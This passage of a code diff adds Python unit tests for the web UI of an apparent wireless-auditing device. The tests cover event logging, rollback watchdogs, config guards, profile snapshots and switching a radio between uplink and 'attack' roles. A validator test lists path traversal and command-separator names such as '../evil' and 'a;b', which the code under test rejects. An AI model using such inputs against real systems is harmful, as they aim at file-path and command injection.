mk8_events.EVENTS_PATH = os.path.join(self.old, 'events.log')
|
||||
mk8_events.MAX_BYTES = 5 * 1024 * 1024
|
||||
|
||||
def test_log_and_read_newest_first(self):
|
||||
mk8_events.log_event('boot', msg='first')
|
||||
mk8_events.log_event('rollback', sev='warn', msg='second', meta={'op': 'wifi'})
|
||||
rows = mk8_events.read_events()
|
||||
self.assertEqual(rows[0]['kind'], 'rollback')
|
||||
self.assertEqual(rows[1]['kind'], 'boot')
|
||||
self.assertEqual(rows[0]['meta'], {'op': 'wifi'})
|
||||
|
||||
def test_counters(self):
|
||||
mk8_events.log_event('boot'); mk8_events.log_event('rollback')
|
||||
mk8_events.log_event('restart'); mk8_events.log_event('guard_fix')
|
||||
c = mk8_events.counters()
|
||||
self.assertEqual(c['boots'], 1)
|
||||
self.assertEqual(c['rollbacks'], 1)
|
||||
self.assertEqual(c['restarts'], 1)
|
||||
self.assertEqual(c['guard_fixes'], 1)
|
||||
|
||||
def test_snapshot_bounded_and_counts(self):
|
||||
# Deterministic window: 3 restarts (oldest, outside the scan window),
|
||||
# then 40 ticks, then 1 boot LAST so the newest-first window of 30
|
||||
# includes it.
|
||||
for _ in range(3):
|
||||
mk8_events.log_event('restart', msg='old')
|
||||
for i in range(40):
|
||||
mk8_events.log_event('tick', msg='t%d' % i)
|
||||
mk8_events.log_event('boot', msg='final boot')
|
||||
snap = mk8_events.snapshot(event_limit=5, scan=30)
|
||||
self.assertLessEqual(len(snap['events']), 5)
|
||||
ev = snap['events']
|
||||
tss = [r.get('ts', 0) for r in ev]
|
||||
self.assertEqual(tss, sorted(tss, reverse=True), 'must be newest-first')
|
||||
self.assertEqual(ev[0]['kind'], 'boot')
|
||||
rel = snap['reliability']
|
||||
self.assertEqual(rel['boots'], 1,
|
||||
'boot is inside the scanned window')
|
||||
self.assertEqual(rel['restarts'], 0,
|
||||
'counters must cover only the bounded window')
|
||||
self.assertEqual(rel['unexpected_boots'], 0)
|
||||
# Full-journal counters() stays available and unbounded for callers
|
||||
# that want it.
|
||||
self.assertEqual(mk8_events.counters()['restarts'], 3)
|
||||
|
||||
def test_snapshot_spans_rotation(self):
|
||||
mk8_events.MAX_BYTES = 200
|
||||
for i in range(8):
|
||||
mk8_events.log_event('tick', msg='x' * 20)
|
||||
if i == 3:
|
||||
mk8_events.log_event('rollback', sev='warn', msg='mid')
|
||||
rotated = [i for i in range(1, mk8_events.KEEP + 1)
|
||||
if os.path.exists(mk8_events.EVENTS_PATH + '.%d' % i)]
|
||||
self.assertGreaterEqual(len(rotated) + 1, 2,
|
||||
'journal must actually rotate here')
|
||||
snap = mk8_events.snapshot(event_limit=100, scan=1000)
|
||||
# Snapshot must span every rotated generation read_events sees.
|
||||
self.assertEqual(len(snap['events']),
|
||||
len(mk8_events.read_events(limit=1000)))
|
||||
tss = [r.get('ts', 0) for r in snap['events']]
|
||||
self.assertEqual(tss, sorted(tss, reverse=True))
|
||||
kinds = {r['kind'] for r in snap['events']}
|
||||
self.assertEqual(kinds, {'tick', 'rollback'})
|
||||
self.assertEqual(snap['reliability']['rollbacks'], 1)
|
||||
|
||||
def test_rotation_keeps_recent(self):
|
||||
mk8_events.MAX_BYTES = 200
|
||||
for i in range(20):
|
||||
mk8_events.log_event('tick', msg='x' * 30)
|
||||
rows = mk8_events.read_events()
|
||||
self.assertGreater(len(rows), 0)
|
||||
self.assertLessEqual(len(rows), 20)
|
||||
self.assertTrue(os.path.exists(mk8_events.EVENTS_PATH + '.1'))
|
||||
self.assertFalse(os.path.exists(mk8_events.EVENTS_PATH + '.5'))
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
@@ -0,0 +1,73 @@
|
||||
import os, sys, types, unittest
|
||||
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
|
||||
import mk8_gate
|
||||
|
||||
|
||||
class DecisionTest(unittest.TestCase):
|
||||
def tick(self, state):
|
||||
action, new = mk8_gate.watchdog_decision(state)
|
||||
return action, new
|
||||
|
||||
def test_no_action_below_fail_threshold(self):
|
||||
action, s = self.tick({'fails': 5, 'oks': 0, 'tripped': False})
|
||||
self.assertIsNone(action)
|
||||
self.assertFalse(s['tripped'])
|
||||
|
||||
def test_rollback_at_threshold(self):
|
||||
action, s = self.tick({'fails': 6, 'oks': 0, 'tripped': False})
|
||||
self.assertEqual(action, 'rollback')
|
||||
self.assertTrue(s['tripped'])
|
||||
self.assertEqual(s['oks'], 0)
|
||||
|
||||
def test_promote_after_recovery(self):
|
||||
action, s = self.tick({'fails': 6, 'oks': 6, 'tripped': True})
|
||||
self.assertEqual(action, 'promote')
|
||||
|
||||
def test_no_promote_before_recovery_threshold(self):
|
||||
action, s = self.tick({'fails': 6, 'oks': 5, 'tripped': True})
|
||||
self.assertIsNone(action)
|
||||
|
||||
|
||||
class EnterTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.addCleanup(setattr, mk8_gate, 'ENABLED', mk8_gate.ENABLED)
|
||||
self.spawned = []
|
||||
|
||||
def _install_fake_profiles(self):
|
||||
snaps = []
|
||||
fake = types.ModuleType('mk8_profiles')
|
||||
fake.auto_name = lambda op: 'pre-%s-42' % op
|
||||
fake.snapshot = lambda name: (snaps.append(name), True)[1]
|
||||
old = sys.modules.get('mk8_profiles')
|
||||
sys.modules['mk8_profiles'] = fake
|
||||
self.addCleanup(sys.modules.__setitem__, 'mk8_profiles', old)
|
||||
return snaps
|
||||
|
||||
def _capture_popen(self):
|
||||
cmds = []
|
||||
old = mk8_gate.subprocess.Popen
|
||||
mk8_gate.subprocess.Popen = lambda cmd, **kw: cmds.append(cmd)
|
||||
self.addCleanup(setattr, mk8_gate.subprocess, 'Popen', old)
|
||||
return cmds
|
||||
|
||||
def test_enter_disabled_is_noop(self):
|
||||
mk8_gate.ENABLED = False
|
||||
cmds = self._capture_popen()
|
||||
snaps = self._install_fake_profiles()
|
||||
self.assertIsNone(mk8_gate.enter('ap_change'))
|
||||
self.assertEqual(snaps, [])
|
||||
self.assertEqual(cmds, [])
|
||||
|
||||
def test_enter_enabled_snapshots_and_spawns(self):
|
||||
mk8_gate.ENABLED = True
|
||||
cmds = self._capture_popen()
|
||||
snaps = self._install_fake_profiles()
|
||||
name = mk8_gate.enter('attack_deploy')
|
||||
self.assertEqual(name, 'pre-attack_deploy-42')
|
||||
self.assertEqual(snaps, [name])
|
||||
self.assertEqual(len(cmds), 1)
|
||||
self.assertIn('setsid sh', cmds[0])
|
||||
self.assertIn(name, cmds[0])
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
@@ -0,0 +1,144 @@
|
||||
import os, sys, unittest
|
||||
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
|
||||
import server
|
||||
import mk8_guard
|
||||
|
||||
HOP_KEY = 'pineapd.wlan1mon.hop'
|
||||
|
||||
class GuardTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.calls = []
|
||||
self.uci = {}
|
||||
self.pool = 0
|
||||
self.mon_up = {'wlan0mon': True, 'wlan1mon': True}
|
||||
self.old_iface_up = server._iface_up
|
||||
self.old_server_device_run = server.device_run
|
||||
self.old_guard_device_run = mk8_guard.device_run
|
||||
server._iface_up = lambda name: self.mon_up.get(name, True)
|
||||
|
||||
def fake_run(args, timeout=20, input_data=None):
|
||||
a = list(args)
|
||||
self.calls.append(a)
|
||||
if a[:2] == ['uci', 'get']:
|
||||
key = a[2]
|
||||
if key == 'pineapd.@ssidpool[0].ssid':
|
||||
return (0, ''.join('s%d\n' % i for i in range(self.pool)), '')
|
||||
return (0, self.uci.get(key, '') + '\n', '')
|
||||
if a[:2] == ['uci', 'set']:
|
||||
k, _, v = a[2].partition('=')
|
||||
self.uci[k] = v
|
||||
if a[:2] == ['uci', 'delete']:
|
||||
self.pool = 0
|
||||
return (0, '', '')
|
||||
mk8_guard.device_run = fake_run
|
||||
server.device_run = fake_run
|
||||
mk8_guard._GR_CACHE['data'] = None
|
||||
|
||||
def tearDown(self):
|
||||
server._iface_up = self.old_iface_up
|
||||
server.device_run = self.old_server_device_run
|
||||
mk8_guard.device_run = self.old_guard_device_run
|
||||
mk8_guard._GR_CACHE['data'] = None
|
||||
|
||||
def wanted_count(self):
|
||||
# Safe set minus wlan1mon.hop (rfplan owns hop), plus WANTED_EXTRA.
|
||||
return (len(server.PINEAPD_SAFE_UCI) - 1 +
|
||||
len(mk8_guard.WANTED_EXTRA))
|
||||
|
||||
def test_applies_all_wanted_when_missing(self):
|
||||
self.pool = 0
|
||||
result = mk8_guard.reconcile(clear_pool=False)
|
||||
sets = [c[2] for c in self.calls if c[:2] == ['uci', 'set']]
|
||||
self.assertEqual(len(sets), self.wanted_count())
|
||||
self.assertTrue(result['changed'])
|
||||
self.assertNotIn(HOP_KEY, {c[2].partition('=')[0]
|
||||
for c in self.calls
|
||||
if c[:2] == ['uci', 'set']})
|
||||
|
||||
def test_wanted_excludes_hop(self):
|
||||
wanted = mk8_guard._wanted()
|
||||
self.assertNotIn(HOP_KEY, wanted)
|
||||
self.assertEqual(len(wanted), self.wanted_count())
|
||||
|
||||
def test_clears_large_pool_only(self):
|
||||
self.pool = 25
|
||||
result = mk8_guard.reconcile(clear_pool=True)
|
||||
self.assertTrue(result['pool_cleared'])
|
||||
self.assertIn(['uci', 'delete', 'pineapd.@ssidpool[0].ssid'], self.calls)
|
||||
|
||||
def test_small_pool_untouched(self):
|
||||
self.pool = 5
|
||||
result = mk8_guard.reconcile(clear_pool=True)
|
||||
self.assertFalse(result['pool_cleared'])
|
||||
|
||||
def test_report_ignores_hop_and_caches(self):
|
||||
for key, value in mk8_guard._wanted().items():
|
||||
self.uci[key] = value
|
||||
self.uci[HOP_KEY] = '1' # attack-role baseline; must stay ignored
|
||||
report = mk8_guard.guard_report()
|
||||
self.assertTrue(report['in_sync'], report)
|
||||
gets = [c[2] for c in self.calls if c[:2] == ['uci', 'get']]
|
||||
self.assertNotIn(HOP_KEY, gets)
|
||||
n_after_first = len(self.calls)
|
||||
self.assertIs(mk8_guard.guard_report(), report)
|
||||
self.assertEqual(len(self.calls), n_after_first,
|
||||
'guard_report must serve from cache within TTL')
|
||||
mk8_guard._GR_CACHE['t'] -= mk8_guard.GR_TTL_SECONDS * 2
|
||||
mk8_guard.guard_report()
|
||||
self.assertGreater(len(self.calls), n_after_first)
|
||||
# reconcile mutates live state; it must invalidate the cached report.
|
||||
mk8_guard.guard_report()
|
||||
n_cached = len(self.calls)
|
||||
mk8_guard.reconcile(clear_pool=False)
|
||||
self.assertIsNone(mk8_guard._GR_CACHE['data'])
|
||||
mk8_guard.guard_report()
|
||||
self.assertGreater(len(self.calls), n_cached)
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
|
||||
|
||||
class SectionRecreateTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.calls = []
|
||||
self.uci = {}
|
||||
self.old_server_run = server.device_run
|
||||
self.old_iface = server._iface_up
|
||||
server._iface_up = lambda name: True
|
||||
|
||||
def fake_run(args, timeout=20, input_data=None):
|
||||
a = list(args)
|
||||
self.calls.append(a)
|
||||
if a[:3] == ['uci', '-q', 'show']:
|
||||
return (1, '', '') # section missing
|
||||
if a[:2] == ['uci', 'get']:
|
||||
got = self.uci.get(a[2])
|
||||
return (0, (got if got is not None else '') + '\n', '')
|
||||
if a[:2] == ['uci', 'set']:
|
||||
k, _, v = a[2].partition('=')
|
||||
self.uci[k] = v
|
||||
return (0, '', '')
|
||||
|
||||
def dual_run(args, timeout=20, input_data=None):
|
||||
# install the same fake for server-side helpers
|
||||
self.__dict__.setdefault('_srv', server)
|
||||
return fake_run(args, timeout=timeout, input_data=input_data)
|
||||
|
||||
mk8_guard.device_run = fake_run
|
||||
server.device_run = fake_run
|
||||
|
||||
def tearDown(self):
|
||||
server.device_run = self.old_server_run
|
||||
server._iface_up = self.old_iface
|
||||
|
||||
def test_recreates_missing_pineapd_section(self):
|
||||
result = mk8_guard.reconcile(clear_pool=False)
|
||||
self.assertIn(['uci', 'add', 'pineapd', 'pineapd'], self.calls)
|
||||
self.assertTrue(any('section recreated' in c for c in result['changed']))
|
||||
sets = [c for c in self.calls if c[:2] == ['uci', 'set']]
|
||||
self.assertEqual(len(sets),
|
||||
len(server.PINEAPD_SAFE_UCI) - 1
|
||||
+ len(mk8_guard.WANTED_EXTRA))
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
@@ -0,0 +1,84 @@
|
||||
import os, sys, tempfile, unittest
|
||||
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
|
||||
import mk8_profiles
|
||||
|
||||
CONFIGS = ('pineapd', 'wireless', 'network')
|
||||
|
||||
class ProfilesTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.dir = tempfile.mkdtemp()
|
||||
mk8_profiles.PROFILES_DIR = os.path.join(self.dir, 'profiles')
|
||||
self.state = {'pineapd': 'config pineapd\n\toption x y\n',
|
||||
'wireless': 'config wireless\n',
|
||||
'network': 'config network\n'}
|
||||
def fake_run(args, timeout=20, input_data=None):
|
||||
a = list(args)
|
||||
if a[:2] == ['uci', 'import']:
|
||||
self.imports = getattr(self, 'imports', [])
|
||||
self.imports.append((a[2], input_data))
|
||||
return (0, '', '')
|
||||
if a[:2] == ['uci', 'export']:
|
||||
return (0, self.state.get(a[2], ''), '')
|
||||
if a[:2] == ['uci', 'commit']:
|
||||
return (0, '', '')
|
||||
return (0, '', '')
|
||||
self.runs = []
|
||||
mk8_profiles.run_cmd = lambda args, timeout=20, input_data=None: (
|
||||
self.runs.append(list(args)) or fake_run(args, timeout, input_data))
|
||||
|
||||
def test_snapshot_and_list(self):
|
||||
self.assertTrue(mk8_profiles.snapshot('testprof'))
|
||||
self.assertIn('testprof', mk8_profiles.list_profiles())
|
||||
|
||||
def test_restore_issues_import_per_config(self):
|
||||
mk8_profiles.snapshot('p1')
|
||||
ok = mk8_profiles.restore('p1')
|
||||
self.assertTrue(ok['ok'])
|
||||
imported = [r for r in self.runs if r[:2] == ['uci', 'import']]
|
||||
self.assertEqual(len(imported), len(CONFIGS))
|
||||
commits = [r for r in self.runs if r[:2] == ['uci', 'commit']]
|
||||
self.assertGreaterEqual(len(commits), 1)
|
||||
self.assertIn(('pineapd', 'config pineapd\n\toption x y\n'),
|
||||
self.imports)
|
||||
self.assertEqual(ok['restored'], list(CONFIGS))
|
||||
|
||||
def test_auto_name_format(self):
|
||||
name = mk8_profiles.auto_name('client_connect')
|
||||
self.assertTrue(name.startswith('pre-client_connect-'))
|
||||
|
||||
def test_promote_lastknown_good(self):
|
||||
self.assertTrue(mk8_profiles.promote_lastknown_good())
|
||||
self.assertIn(mk8_profiles.LASTKNOWN_GOOD,
|
||||
mk8_profiles.list_profiles())
|
||||
again = mk8_profiles.promote_lastknown_good()
|
||||
self.assertTrue(again)
|
||||
|
||||
def test_snapshot_false_when_nothing_written(self):
|
||||
self.state = {}
|
||||
self.assertFalse(mk8_profiles.snapshot('empty'))
|
||||
|
||||
def test_path_rejects_traversal_and_bad_names(self):
|
||||
for bad in ('../x', '..', 'a/b', '', 'a' * 65, './x', 'x/..',
|
||||
'a b', 'a;b', None):
|
||||
with self.assertRaises(ValueError):
|
||||
mk8_profiles._path(bad)
|
||||
|
||||
def test_path_accepts_safe_names(self):
|
||||
for good in ('p', 'pre-client_connect-123', 'lastknown-good',
|
||||
'A.b-c_d', 'x' * 64, '0'):
|
||||
path = mk8_profiles._path(good)
|
||||
self.assertEqual(path, os.path.join(mk8_profiles.PROFILES_DIR,
|
||||
good))
|
||||
|
||||
def test_snapshot_rejects_bad_name_without_side_effects(self):
|
||||
with self.assertRaises(ValueError):
|
||||
mk8_profiles.snapshot('../evil')
|
||||
self.assertEqual(mk8_profiles.list_profiles(), [])
|
||||
|
||||
def test_list_profiles_skips_invalid_dirnames(self):
|
||||
mk8_profiles.snapshot('good')
|
||||
os.mkdir(os.path.join(mk8_profiles.PROFILES_DIR, 'bad name'))
|
||||
self.assertEqual(mk8_profiles.list_profiles(), ['good'])
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
@@ -0,0 +1,327 @@
|
||||
import os, sys, unittest
|
||||
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload',
|
||||
'user', 'remote_access', 'pager-webui'))
|
||||
import importlib
|
||||
import server
|
||||
import mk8_rfplan
|
||||
|
||||
|
||||
def setUpModule():
|
||||
importlib.reload(server)
|
||||
|
||||
|
||||
class CtxStub(object):
|
||||
def __init__(self, body=None):
|
||||
self.body = body or {}
|
||||
|
||||
|
||||
class RfPlanTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.runs = []
|
||||
self.seq = []
|
||||
self.paused = 0
|
||||
self.resumed = 0
|
||||
self.sleeps = []
|
||||
self.uci_show = {}
|
||||
self.gets = {}
|
||||
self.iw_fail_left = 0
|
||||
self._old = (server.device_run, server._pause_hop,
|
||||
server._resume_hop, server._read_hop,
|
||||
mk8_rfplan.time.sleep)
|
||||
|
||||
def fake_get(key):
|
||||
if key == 'pineapd.wlan1mon.hop':
|
||||
return 0, '0\n', ''
|
||||
return self.gets.get(key, (1, '', 'entry not found'))
|
||||
|
||||
def fake_run(args, timeout=20, input_data=None):
|
||||
args = list(args)
|
||||
self.seq.append('cmd:' + ' '.join(str(a) for a in args))
|
||||
self.runs.append((args, timeout))
|
||||
if args == ['iw', 'dev']:
|
||||
# interface enumeration: radio1 STA comes up as phy1-sta0
|
||||
return 0, ('Interface wlan1mon\n'
|
||||
'\ttype monitor\n'
|
||||
'Interface phy1-sta0\n'
|
||||
'\ttype managed\n'), ''
|
||||
if args[0] == 'readlink' and 'phy80211' in args[1]:
|
||||
return 0, '../../devices/platform/usb/phy1\n', ''
|
||||
if args[0] == 'iw':
|
||||
# iw dev <iface> link
|
||||
if self.iw_fail_left > 0:
|
||||
self.iw_fail_left -= 1
|
||||
return 0, 'Not connected.\n', ''
|
||||
return 0, ('Connected to aa:bb:cc:dd:ee:ff (on wlan1up)\n'
|
||||
'\tSSID: Net\n'), ''
|
||||
if args[:2] == ['uci', 'show']:
|
||||
cfg = self.uci_show.get(args[2])
|
||||
if cfg is None:
|
||||
return 1, '', 'entry not found'
|
||||
out = ''.join("%s.%s='%s'\n" % (args[2], k, v)
|
||||
for k, v in sorted(cfg.items()))
|
||||
return 0, out, ''
|
||||
if args[0] == 'uci' and args[1] == '-q':
|
||||
return fake_get(args[3])
|
||||
if args[:2] == ['uci', 'get']:
|
||||
return fake_get(args[2])
|
||||
return 0, '', ''
|
||||
|
||||
def fake_pause():
|
||||
self.paused += 1
|
||||
self.seq.append('pause')
|
||||
|
||||
def fake_resume():
|
||||
self.resumed += 1
|
||||
self.seq.append('resume')
|
||||
|
||||
server.device_run = fake_run
|
||||
server._pause_hop = fake_pause
|
||||
server._resume_hop = fake_resume
|
||||
server._read_hop = lambda: '0'
|
||||
mk8_rfplan.time.sleep = lambda s: self.sleeps.append(s)
|
||||
|
||||
def tearDown(self):
|
||||
(server.device_run, server._pause_hop,
|
||||
server._resume_hop, server._read_hop,
|
||||
mk8_rfplan.time.sleep) = self._old
|
||||
|
||||
@property
|
||||
def cmds(self):
|
||||
return [s[len('cmd:'):] for s in self.seq if s.startswith('cmd:')]
|
||||
|
||||
def mutations(self):
|
||||
return [c for c in self.cmds
|
||||
if c.startswith(('uci set', 'uci commit'))]
|
||||
|
||||
def test_current_role_reads_uci(self):
|
||||
cases = [
|
||||
({'mode': 'sta', 'disabled': '0'}, 'uplink'),
|
||||
({'mode': 'sta', 'disabled': '1'}, 'idle'),
|
||||
({'mode': 'ap'}, 'idle'),
|
||||
({}, 'idle'),
|
||||
]
|
||||
for cfg, want in cases:
|
||||
self.uci_show.clear()
|
||||
self.uci_show['wireless.wlan1up'] = cfg
|
||||
self.assertEqual(mk8_rfplan.current_role(), want, cfg)
|
||||
self.uci_show.clear()
|
||||
self.assertEqual(mk8_rfplan.current_role(), 'idle')
|
||||
|
||||
def test_uplink_sets_sta_section_and_pauses_hop(self):
|
||||
result = mk8_rfplan.set_role('uplink', ssid='Net', psk='key')
|
||||
self.assertTrue(result.get('ok'), result)
|
||||
cmds = self.cmds
|
||||
for expected in (
|
||||
'uci set wireless.wlan1up=wifi-iface',
|
||||
'uci set wireless.wlan1up.device=radio1',
|
||||
'uci set wireless.wlan1up.mode=sta',
|
||||
'uci set wireless.wlan1up.network=cli',
|
||||
'uci set wireless.wlan1up.ssid=Net',
|
||||
'uci set wireless.wlan1up.encryption=sae-mixed',
|
||||
'uci set wireless.wlan1up.key=key',
|
||||
'uci set wireless.wlan1up.disabled=0',
|
||||
'uci set network.cli=interface',
|
||||
'uci set network.cli.proto=dhcp',
|
||||
'uci commit network'):
|
||||
self.assertIn(expected, cmds)
|
||||
commit_net = cmds.index('uci commit network')
|
||||
commit_wireless = cmds.index('uci commit wireless')
|
||||
for c in ('uci set wireless.wlan1up.mode=sta',
|
||||
'uci set wireless.wlan1up.disabled=0',
|
||||
'uci set network.cli=interface',
|
||||
'uci set network.cli.proto=dhcp'):
|
||||
self.assertLess(cmds.index(c), commit_net)
|
||||
self.assertLess(commit_net, cmds.index('uci commit wireless'))
|
||||
self.assertLess(commit_wireless, cmds.index('wifi reload'))
|
||||
self.assertEqual(self.paused, 1)
|
||||
self.assertLess(self.seq.index('pause'),
|
||||
self.seq.index('cmd:wifi reload'))
|
||||
self.assertEqual(result['assoc'], 'aa:bb:cc:dd:ee:ff')
|
||||
|
||||
def test_uplink_enables_present_but_disabled_cli_network(self):
|
||||
self.gets['network.cli'] = (0, 'interface\n', '')
|
||||
self.gets['network.cli.disabled'] = (0, '1\n', '')
|
||||
result = mk8_rfplan.set_role('uplink', ssid='Net')
|
||||
self.assertTrue(result.get('ok'), result)
|
||||
cmds = self.cmds
|
||||
self.assertIn('uci set network.cli.disabled=0', cmds)
|
||||
self.assertIn('uci commit network', cmds)
|
||||
self.assertNotIn('uci set network.cli=interface', cmds)
|
||||
|
||||
def test_assoc_poll_succeeds_on_third_attempt(self):
|
||||
self.iw_fail_left = 2
|
||||
result = mk8_rfplan.set_role('uplink', ssid='Net')
|
||||
self.assertTrue(result.get('ok'), result)
|
||||
self.assertEqual(result['assoc'], 'aa:bb:cc:dd:ee:ff')
|
||||
self.assertEqual(len(self.sleeps), 3)
|
||||
iw_calls = [c for c in self.cmds
|
||||
if c.startswith('iw dev phy1-sta0 link')]
|
||||
self.assertEqual(len(iw_calls), 3)
|
||||
|
||||
def test_assoc_poll_exhaustion_reverts_uplink(self):
|
||||
self.iw_fail_left = 99
|
||||
result = mk8_rfplan.set_role('uplink', ssid='Net')
|
||||
self.assertFalse(result['ok'])
|
||||
self.assertIn('association failed', result['error'])
|
||||
self.assertEqual(len(self.sleeps), 5)
|
||||
self.assertIn('uci set wireless.wlan1up.disabled=1', self.cmds)
|
||||
self.assertEqual(self.resumed, 1)
|
||||
# Revert must converge runtime like the idle branch: a wifi reload
|
||||
# after the STA disable, with hop resumed only after the reload.
|
||||
cmds = self.cmds
|
||||
reloads = [i for i, c in enumerate(cmds) if c == 'wifi reload']
|
||||
self.assertEqual(len(reloads), 2, cmds)
|
||||
disable_set = cmds.index('uci set wireless.wlan1up.disabled=1')
|
||||
last_commit = len(cmds) - 1 - cmds[::-1].index('uci commit wireless')
|
||||
resume_idx = self.seq.index('resume')
|
||||
self.assertLess(disable_set, last_commit)
|
||||
self.assertLess(last_commit, reloads[-1])
|
||||
self.assertLess(reloads[-1], resume_idx)
|
||||
# cmds[i] maps 1:1 onto self.runs[i]; revert reload must be gated.
|
||||
self.assertEqual(self.runs[reloads[-1]], (['wifi', 'reload'], 60))
|
||||
|
||||
def test_set_role_uplink_requires_ssid(self):
|
||||
result = mk8_rfplan.set_role('uplink')
|
||||
self.assertFalse(result['ok'])
|
||||
self.assertIn('ssid', result['error'])
|
||||
self.assertEqual(self.mutations(), [])
|
||||
self.assertEqual(self.paused, 0)
|
||||
|
||||
def test_idle_reloads_so_sta_disassociates_now(self):
|
||||
self.uci_show['wireless.wlan1up'] = {'mode': 'sta', 'disabled': '0'}
|
||||
result = mk8_rfplan.set_role('idle')
|
||||
self.assertTrue(result.get('ok'), result)
|
||||
self.assertIn('uci set wireless.wlan1up.disabled=1', self.cmds)
|
||||
self.assertIn('wifi reload', self.cmds)
|
||||
self.assertEqual(self.resumed, 1)
|
||||
|
||||
def test_exclusivity_switch(self):
|
||||
self.uci_show['wireless.wlan1up'] = {'mode': 'ap'}
|
||||
mk8_rfplan.ensure_attack()
|
||||
self.assertEqual(self.mutations(), [])
|
||||
self.assertEqual(self.resumed, 0)
|
||||
self.assertEqual(self.paused, 0)
|
||||
self.uci_show['wireless.wlan1up'] = {'mode': 'sta', 'disabled': '0'}
|
||||
mk8_rfplan.ensure_attack()
|
||||
cmds = self.cmds
|
||||
self.assertIn('uci set wireless.wlan1up.disabled=1', cmds)
|
||||
self.assertIn('uci commit wireless', cmds)
|
||||
self.assertEqual(self.resumed, 1)
|
||||
|
||||
def test_hop_paused_helper(self):
|
||||
self.assertTrue(mk8_rfplan.hop_paused())
|
||||
server._read_hop = lambda: None
|
||||
self.assertFalse(mk8_rfplan.hop_paused())
|
||||
server._read_hop = lambda: '1'
|
||||
self.assertFalse(mk8_rfplan.hop_paused())
|
||||
|
||||
def test_h_rfplan_get_and_post(self):
|
||||
self.uci_show['wireless.wlan1up'] = {'mode': 'sta', 'disabled': '0'}
|
||||
status, data = server.h_rfplan_get(CtxStub())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(data['role'], 'uplink')
|
||||
self.assertEqual(data['assoc'], 'aa:bb:cc:dd:ee:ff')
|
||||
self.assertTrue(data['hop_paused'])
|
||||
status, data = server.h_rfplan_post(CtxStub({'role': 'nope'}))
|
||||
self.assertEqual(status, 400)
|
||||
status, data = server.h_rfplan_post(CtxStub({'role': 'idle'}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(data['role'], 'idle')
|
||||
|
||||
def test_ensure_attack_wired_into_attacks_deploy(self):
|
||||
calls = []
|
||||
|
||||
def fake_set_role(role, ssid=None, psk=None):
|
||||
calls.append(role)
|
||||
return {'ok': True, 'role': role}
|
||||
|
||||
self._patch_rfplan(lambda: 'uplink', fake_set_role)
|
||||
old_dep = server._deploy_wpa_open
|
||||
old_state = server.update_pineap_state
|
||||
server._deploy_wpa_open = lambda kind, body: {}
|
||||
server.update_pineap_state = lambda *a, **kw: {}
|
||||
try:
|
||||
status, payload = server.h_attacks_deploy(
|
||||
CtxStub({'kind': 'wpa'}))
|
||||
finally:
|
||||
self._unpatch_rfplan()
|
||||
server._deploy_wpa_open = old_dep
|
||||
server.update_pineap_state = old_state
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(calls, ['attack'])
|
||||
|
||||
def test_attacks_deploy_skips_switch_when_not_uplink(self):
|
||||
calls = []
|
||||
|
||||
def fake_set_role(role, ssid=None, psk=None):
|
||||
calls.append(role)
|
||||
return {'ok': True}
|
||||
|
||||
self._patch_rfplan(lambda: 'idle', fake_set_role)
|
||||
old_dep = server._deploy_wpa_open
|
||||
old_state = server.update_pineap_state
|
||||
server._deploy_wpa_open = lambda kind, body: {}
|
||||
server.update_pineap_state = lambda *a, **kw: {}
|
||||
try:
|
||||
status, _ = server.h_attacks_deploy(CtxStub({'kind': 'wpa'}))
|
||||
finally:
|
||||
self._unpatch_rfplan()
|
||||
server._deploy_wpa_open = old_dep
|
||||
server.update_pineap_state = old_state
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(calls, [])
|
||||
|
||||
def test_ensure_attack_wired_into_radio1_ap_request(self):
|
||||
calls = []
|
||||
|
||||
def fake_set_role(role, ssid=None, psk=None):
|
||||
calls.append(role)
|
||||
return {'ok': True, 'role': role}
|
||||
|
||||
self._patch_rfplan(lambda: 'uplink', fake_set_role)
|
||||
try:
|
||||
status, payload = server.h_pineap_wifi_set_ap(
|
||||
CtxStub({'open': {'enabled': False, 'channel': 36}}))
|
||||
finally:
|
||||
self._unpatch_rfplan()
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(calls, ['attack'])
|
||||
|
||||
def _patch_rfplan(self, current_role, set_role):
|
||||
self._rf_old = (mk8_rfplan.current_role, mk8_rfplan.set_role)
|
||||
mk8_rfplan.current_role = current_role
|
||||
mk8_rfplan.set_role = set_role
|
||||
|
||||
def _unpatch_rfplan(self):
|
||||
mk8_rfplan.current_role, mk8_rfplan.set_role = self._rf_old
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
|
||||
|
||||
class PskModeChainTest(RfPlanTest):
|
||||
def test_chain_tries_next_mode_on_failure(self):
|
||||
# first mode (sae-mixed) never associates; second (sae) does
|
||||
self.iw_fail_left = 5 # fail all link polls of attempt 1
|
||||
result = mk8_rfplan.set_role('uplink', ssid='Net', psk='secret')
|
||||
self.assertTrue(result['ok'], result)
|
||||
self.assertEqual(result['mode'], 'sae')
|
||||
reloads = [c for c in self.cmds if c.startswith('wifi reload')]
|
||||
self.assertEqual(len(reloads), 2)
|
||||
|
||||
def test_chain_exhaustion_reports_modes(self):
|
||||
self.iw_fail_left = 99
|
||||
result = mk8_rfplan.set_role('uplink', ssid='Net', psk='secret')
|
||||
self.assertFalse(result['ok'])
|
||||
self.assertEqual(result['tried_modes'],
|
||||
['sae-mixed', 'sae', 'psk2'])
|
||||
|
||||
def test_first_mode_success_records_mode(self):
|
||||
